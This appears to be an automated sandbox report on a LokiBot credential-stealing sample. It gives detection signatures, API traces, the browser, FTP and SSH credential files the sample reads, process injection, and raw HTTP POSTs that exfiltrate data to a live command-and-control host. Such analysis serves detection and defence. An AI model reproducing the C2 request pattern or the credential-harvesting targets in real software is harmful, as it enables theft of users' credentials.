popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

csrss.exe

Generic Malware PWS DNS Socket AntiDebug PE File PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 23, 2021, 9:43 a.m. Oct. 23, 2021, 10 a.m.
Size 420.0KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 ca66da9aeea970c1476519b769af2cf7
SHA256 9dc5001348a4990dbe44f7e41ca10eaa0d367acde6e2c3c8c62bce4aac61e78a
CRC32 05717F13
ssdeep 12288:3+SIcGnB/wY94oEUi2iNbNdGlwscwxZmkyO5g:OSo/z94oEUi11NQwsU0g
Yara
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware
  • IsPE32 - (no description)
  • Is_DotNET_EXE - (no description)
  • Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult

Name Response Post-Analysis Lookup
secure01-redirect.net
A 185.22.172.2
185.22.172.2
IP Address Status Action
164.124.101.2 Active Moloch
185.22.172.2 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49171 -> 185.22.172.2:80 2021641 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected
TCP 192.168.56.103:49175 -> 185.22.172.2:80 2021641 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected
TCP 192.168.56.103:49171 -> 185.22.172.2:80 2025381 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected
TCP 192.168.56.103:49175 -> 185.22.172.2:80 2025381 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected
TCP 192.168.56.103:49175 -> 185.22.172.2:80 2024313 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected
TCP 192.168.56.103:49171 -> 185.22.172.2:80 2024312 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 A Network Trojan was detected
TCP 192.168.56.103:49175 -> 185.22.172.2:80 2024318 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected
TCP 192.168.56.103:49171 -> 185.22.172.2:80 2024317 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2 A Network Trojan was detected
TCP 185.22.172.2:80 -> 192.168.56.103:49175 2025483 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected
TCP 192.168.56.103:49173 -> 185.22.172.2:80 2021641 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected
TCP 192.168.56.103:49173 -> 185.22.172.2:80 2025381 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected
TCP 192.168.56.103:49173 -> 185.22.172.2:80 2024312 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 A Network Trojan was detected
TCP 192.168.56.103:49173 -> 185.22.172.2:80 2024317 ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2 A Network Trojan was detected
TCP 192.168.56.103:49174 -> 185.22.172.2:80 2021641 ET MALWARE LokiBot User-Agent (Charon/Inferno) A Network Trojan was detected
TCP 192.168.56.103:49174 -> 185.22.172.2:80 2025381 ET MALWARE LokiBot Checkin Malware Command and Control Activity Detected
TCP 192.168.56.103:49174 -> 185.22.172.2:80 2024313 ET MALWARE LokiBot Request for C2 Commands Detected M1 Malware Command and Control Activity Detected
TCP 192.168.56.103:49174 -> 185.22.172.2:80 2024318 ET MALWARE LokiBot Request for C2 Commands Detected M2 Malware Command and Control Activity Detected
TCP 185.22.172.2:80 -> 192.168.56.103:49174 2025483 ET MALWARE LokiBot Fake 404 Response A Network Trojan was detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features POST method with no referer header, HTTP version 1.0 used suspicious_request POST http://secure01-redirect.net/fd4/fre.php
request POST http://secure01-redirect.net/fd4/fre.php
request POST http://secure01-redirect.net/fd4/fre.php
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 458752
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004c0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2368
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73bd1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2368
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73bd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 1703936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01f20000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02080000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00562000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0058c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0056a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0059a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00597000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0058a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0058d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 24576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a31000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a32000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a33000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2368
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00596000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceW

 number_of_free_clusters: 2499044
sectors_per_cluster: 8
bytes_per_sector: 512
root_path: \
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 2499044
sectors_per_cluster: 8
bytes_per_sector: 512
root_path: \
total_number_of_clusters: 8362495
1 1 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Login Data
file C:\Users\test22\AppData\Local\Chromium\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Chromium\User Data\Default\Login Data
file C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Default\Login Data
file C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
file C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Login Data
file C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\SeaMonkey
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
Time & API Arguments Status Return Repeated

MoveFileWithProgressW

 newfilepath_r: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe
flags: 1
oldfilepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe
newfilepath: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe
oldfilepath: C:\Users\test22\AppData\Local\Temp\csrss.exe
1 1 0
section {u'size_of_data': u'0x00068600', u'virtual_address': u'0x00002000', u'entropy': 7.606044923450699, u'name': u'.text', u'virtual_size': u'0x00068484'} entropy 7.60604492345 description A section with a high entropy has been found
entropy 0.995232419547 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
url http://www.ibsensoftware.com/
description Communications over RAW Socket rule Network_TCP_Socket
description Communications use DNS rule Network_DNS
description Win32 PWS Loki rule Win32_PWS_Loki_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2068
region_size: 663552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x000001f4
1 0 0
file C:\Program Files (x86)\FTPGetter\Profile\servers.xml
file C:\Users\test22\AppData\Roaming\FTPGetter\servers.xml
file C:\Users\test22\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
file C:\Users\test22\AppData\Roaming\GHISLER\wcx_ftp.ini
file C:\Users\test22\AppData\Roaming\wcx_ftp.ini
file C:\Windows\wcx_ftp.ini
file C:\Users\test22\wcx_ftp.ini
file C:\Windows\32BitFtp.ini
file C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file C:\Program Files (x86)\FileZilla\Filezilla.xml
file C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
file C:\Users\test22\AppData\Roaming\FileZilla\filezilla.xml
registry HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
registry HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
registry HKEY_CURRENT_USER\Software\Ghisler\Total Commander
registry HKEY_CURRENT_USER\Software\VanDyke\SecureFX
registry HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
registry HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
registry HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
registry HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions
registry HKEY_CURRENT_USER\Software\Martin Prikryl
registry HKEY_LOCAL_MACHINE\Software\Martin Prikryl
file C:\Users\test22\AppData\Roaming\.purple\accounts.xml
Time & API Arguments Status Return Repeated

connect

 ip_address: 185.22.172.2
socket: 456
port: 80
1 0 0

send

 buffer: POST /fd4/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: secure01-redirect.net Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A61FB52E Content-Length: 3717 Connection: close
socket: 456
sent: 246
1 246 0

send

 buffer: 'ckav.ru test22TEST22-PCtest22-PCkô/086627BC41D896D6F4DE8430FP9dQdË !ᘠè/ƒŸ@ Moz8il¼aUser×P>®fðnc? ?DOÜNÝTÞEI »H«SóFËLê.ˆ¾¹fŽyouámakeðchìnogr¦toöiÍf°ž*w¨Ø apãëãc·¾‡onÌ=rwuñÿ*`,GÐ@?¢w¯¬b oQvŠó—×t6 E¿2x:sœ‹)ToC·JÅp-Èõvøluú,¦¦ÙpkiŠr:2”-¸odify†tNða¨aUIü(ì.rg«“b lt:cØËgFJ‚brÒwE+);¡©F²t†Cw·ÙKnu‰A.j;@$|r«“µ .X!_!¤("SÑ.ÿµdÒ4ÞØ|ofmÔr(d"³ý!#ãCÎ.å³sÊU †Tim{õ-bùck·€Þ¯Þé';óÌ;r›16043}594S¿GMó7Ä;›HÒrAŸ- “gýÏõ;Pt!29ÞHr¢I§$-}¶Ž¬ÄpoÇ8éºEñëNT¦£ PwyM_3ushdµ y5ZLå@Éj8Ó!UÐ95ó³xAvð !nu½TY H½M ÐP£8¤oH^¤3Dÿç2·8<tCê0æ9÷Ø4EßæzU«{¿ÈÌL &lªgfŸ s1òn(Q. F”X˜gøk÷ém4MtY_ÕØq52)387TÍp˜fyc72åGå*3U&jNéy#um_HFt³Q19íDf—wóPI Rq§Ù© {iÌ6Ž»m:ÒtóϹOŸæÆnc247̆ƒ˜‡êduf£¨»1Ñ85·Wc…fǐU6¿T"Oùšg£C0Í+FŠ.7Ã-mÌÇN]a¥ê‰èé#¶úgJM© t‡U҅^m'¦1홈"¿H*pRÔdagéV]¦diUHµz-YÞ+J:/4eýbÕ,z’&½ºè)BA˜D/SeÇýê5~9uiÙÏ,sÊÅ3m&5vÊlDz:L.©oj=i&“·ÌòdEϊh?ÓKA@S.ubsu*PsAé¦N+”VŠ²1·KÇND1…Ÿ–T$ìË;¿_¼z‘SÉxt<{Ãp‚ ThP<(ID9idBˆžð-¨s@ž­e. gEÖIbz,kŸk¥kCÉuÓ+08RÉbÓ6ScÛæY+32-RCÚArtýwx\«´¶nô/AGxÊ66ԂÑaêgóÜò*© 3BšApSBdŽdIW3©0 1w9ñ!ŽÉ8þ¿;©>Îa78.4É0^3ÍP Ñf ¤m§8qpe S®O%r‘Òs3Îô-3sâSEL^z f{\¸¦EÃ:1,O #s{}k|YwñbK8u÷zd¦NÔ4\5a( M@¥"¤'Œ&bûÏ·ÏûDdÁ2€Kf80w5x-õ×Ç_6¯9_ädcÃX×/]6|ýí L”“Òr#G98‹3 1a-Ùf,zcֆ•˜5 a7ã÷mª06¢˜G8goóil€æXW.G™†4Aü3cqܽ‚éÂeËÜ÷oò‡ßÏ:¶¯agŽ¥g>DH¿ 70fvËoˆ’Yˆa½hÒ¿g{eŽÞa葊DÂ~ȼ-kçOI“ ôb† 4e?6 Ia4b¥/<d{°,‚ØI` um­Hhýfb2€Ëd0°ƒH¬æUöC{³7v0îc“wik)‰HOa>J62äêÂBb-fFf‚›œˆc’72(´aƒÉ68Ê5ÕJöbKâÌAEt8`CMâ7„Ëeƒõ8v†£æ¾šf5š6¯ªƒ'ÔAÒ13Yß 0n“mXf3Éd g55eTh”ä"Üñ%…ÞB¿Ùê3LEÅi‹f ÜdQÞ£¾sp­)˜DuMC©s²…2qx ãyUrÏåj:“ lûdÕj9“[E¾rn.9Žs¾¯+ëBñß°øbÐ2¯GßÐ:ïFߐ9ïFߑ9ýÙ7mYZ-ü…ÔH5]£Ïh4]£Êh4ÔþiLz†­1“ *´mË 2´9È 1´9Å1ÅvaEÝbl(½7¥)R<¼…1z»…0zº0gx.cÛ8h-Óu>bdr¸Cq1°HiyBâJY·\@È¢/‰åì….0xŒ4`;>Ý-ǁð6.1ä7ê0ã½ 385Kwfefï-d2Ÿá¡>^‚@jp7iêGs)s25XdiÅct˜ß(„idÈDéïÕæJÞ·27¡Qi0 l¾Dmz™"q¬shíÜÿ‡n-US‚koEEJùRØÆ÷iE‘™ý 2mðg.pu¾IXes-ÝÑ_f=ßkP6m;Ì~bÓa\ºckµ×?6ϐ)12z ˜jŠ11/$H¬9Ð 1t7«<2ÈNhݪ;ΉæT\.7Ñnâ2=©®Key‹øÐ'æé+ rȑhßSÝbz"•AjçiŽþöÂUsEûåå1øŸÞ‡smtÚ1OR³K¾íi‚‰_ð-ßP<s‘»VŒšÞ®ú´w»©© ,S?wÍ¡4֕‰jËæyž¬5”_mšg'$bäx¸m;n`dy@L‘'%20FL*)/A3<«"]ú^lºhsMl×é5XÅafiôQD1Ž.YŠsZmL` kÉm̘R0@¨f˜>‡—ÑS¡wU܍’ÒCPŠNtØË(BoUµH¢¿DÓËèT¸tJpÅ].óžtU{ѐ¢ÒQ@"HB<©nsår"-ëÑnÛzeTo)… yk),np¤ã_ÜoedÞC:\oK§ž„q2Ò°D—Œ>Rwo̯gT•–œËPyu°cg8t\0267(ý-ÛÌ0ΚÌ4NË"¯~m\hÊ[Q D]3~]o•7MÞ§ÕB«‹^1orå0SÝì+hº"™Õc,µ–§Y´_6n²&Ë,ŒU¡» ÇãÑp'>¯G|S<© 15­¸MÑÑ|é­C1ô£jC-12 …íy?¼æ ±— t>šÐÚ¼/§Nøho¢ÐÔ¿è=§&TF.¶Í'ìQ2èl 99Ò<­u개인€í´ë!”tnBx÷D0.—Á<mAc“<TÿŸ©¯Æµ¹©^…›ÒÖU¿Ë„ûìbkÊÆiž|/ts«#Ëb&\k•y;1\®[2PB0¹§ÀFÒB6©oE†nCüqŠSšFTé»Ír6<›3W¬kM¢-©‘–/±)/E|›!H4_&÷2Ù¤{%ðkH£.)Ø"–ü­MHJ_¦¿õ2é ¡1¼NִϪ¸2‡8úóh¤ cs$kDšÇCõi±Ò9½Šhow°§•2ÖÞ!54ñWî·2ª-œOþtuÎ}d¾Õy3K'—„ýýå’TtRtkD\7ª½òg7loJ©F½['K249CôË6©f-ob¿¨Óµ‰? 5÷1ŽÛñ7bÏÏE"/\‰i&xNžhW"?ù3€J&ú78_Í×à£d¢2K½[dÈ H¤•’!]çcÃfp·»k.»gÍk¸ quoúhiP-ïëè0¯Sr=*h}CÛ© 2uooׄÇçwi:Û5Z;=3xg $æÒûÒVa¼ò¾ÃC#F‹0B6í 4중ʚ”3W2ió9Œ/ˆ2X§æžB¥è3‡´Ê/iˆ3Rq¨¡3\R4iÍ3Ö.6iÂ할¼.ˆ5z ÐÒ¡6t¥;—°ê¸œ~K›ï—¤Ž.píw.Ä»“io¶µ Êûvo'm¤IPïAc3ĒÕ.¡½;_tçXàŸ7B¡;‹hi‘Iygôy-/„lùD—ò]r_cu(öxe5/ÙhÆþú8MäüÿmžŒûMb[iƒZ†Åлgok¢õJÔJΓ“ã“¨Ý)vì;~µŽ¥)è1rÔ½o<ZÚ¾Ð/õ¨®Ÿ:Z˯ô9<;™ÈOVÐ*ä-_*ށÐ5䪛(r¯Y5ÓOÅÑzÆj¤°{.OC$SPòy0O(“ç *pƒœy¤ÞÈg‘#S8È|õáA(®&m­ŽÞ%y">FZ™ :݌kNl!S:¥’½ ˆ¬Q5ú Käˆêr±?´>J•G/d‰¤…lug¿Œç~m©ÖñSTf—)xâ{3b|£å§V-nõ/Äãš0UŽæûDÜàWcéŠÂ2}ô\Æy—Mf¤H_!>©+ÈG ïÊpwô§âÌW{-1ʀ2;þ± _n ç\Zu28\Û9n4@ºN³ÕB|мïN¥}û§¬-±ã·)™{lÍØg<EcMZµƒŒj$­-i[•~O›z'uRÆ}d¼KØcù_S´úeÖ¬ƒÐK«×}9Þlx¾&wgh_ý&½Ñ©½‰^Ê~GRéTêvPD÷1Âáp"þWR¹2¹ÓÅ”AËO´û ÈvOm£ä:FýôS'qlÓRu²Ç~¡7Ôm5©³ \"½ ,ÒÙ$ê‰cozMxÄlkÓHø´ê2%dùº¯˜Bc0âjâÊ-:Ñêº1"_XÚ1~f4F¿2ÞDY]ó
socket: 456
sent: 3717
1 3717 0

connect

 ip_address: 185.22.172.2
socket: 456
port: 80
1 0 0

send

 buffer: POST /fd4/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: secure01-redirect.net Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A61FB52E Content-Length: 186 Connection: close
socket: 456
sent: 245
1 245 0

send

 buffer: 'ckav.ru test22TEST22-PCtest22-PCÆ+086627BC41D896D6F4DE8430FavtET
socket: 456
sent: 186
1 186 0

connect

 ip_address: 185.22.172.2
socket: 456
port: 80
1 0 0

send

 buffer: POST /fd4/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: secure01-redirect.net Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A61FB52E Content-Length: 159 Connection: close
socket: 456
sent: 245
1 245 0

send

 buffer: (ckav.ru test22TEST22-PCtest22-PC086627BC41D896D6F4DE8430F
socket: 456
sent: 159
1 159 0

connect

 ip_address: 185.22.172.2
socket: 460
port: 80
1 0 0

send

 buffer: POST /fd4/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: secure01-redirect.net Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A61FB52E Content-Length: 159 Connection: close
socket: 460
sent: 245
1 245 0

send

 buffer: (ckav.ru test22TEST22-PCtest22-PC086627BC41D896D6F4DE8430F
socket: 460
sent: 159
1 159 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@𺴠Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþˆ¬­ˆ¬­ˆ¬­Ô•­‰¬­K£K­Š¬­ ­‰¬­=2󭋬­ˆ¬­Œ¬­Ôƒ­‰¬­ˆ¬­Ç¬­Ô…­™¬­=2÷­ó¬­=2È­‰¬­Richˆ¬­PEL…lWà  8¢Þ9P@ €ЎdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x €À
base_address: 0x00400000
process_identifier: 2068
process_handle: 0x000001f4
1 1 0

WriteProcessMemory

 buffer: ™TÍ<¨‡K¢`ˆˆÝ;U
base_address: 0x0041a000
process_identifier: 2068
process_handle: 0x000001f4
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2068
process_handle: 0x000001f4
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

